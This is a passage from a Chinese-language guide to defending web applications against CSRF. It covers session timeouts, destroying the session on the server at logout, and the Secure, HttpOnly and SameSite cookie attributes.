、等方式触发 - POST 虽不能完全防 CSRF,但更利于统一防护(Token / Header 校验)
3.7 会话生命周期控制
- 设置合理的 Session 超时:
- 金融 / 管理系统:≈ 10 分钟
- 普通业务系统:≈ 30 分钟
- 长时间无操作自动失效
3.8 安全退出机制
- 用户点击“退出”时:
- 服务端必须显式销毁 Session
- 而不是仅清理客户端 Cookie
3.9 Cookie 安全属性配置
Secure:仅允许 HTTPS 传输HttpOnly:禁止 JavaScript 读取(防 XSS 间接利用)SameSite:限制跨站携带行为
3.10 总结
CSRF 防御的本质,不是“不让发请求”,而是“让跨站请求无法通过服务端验证”。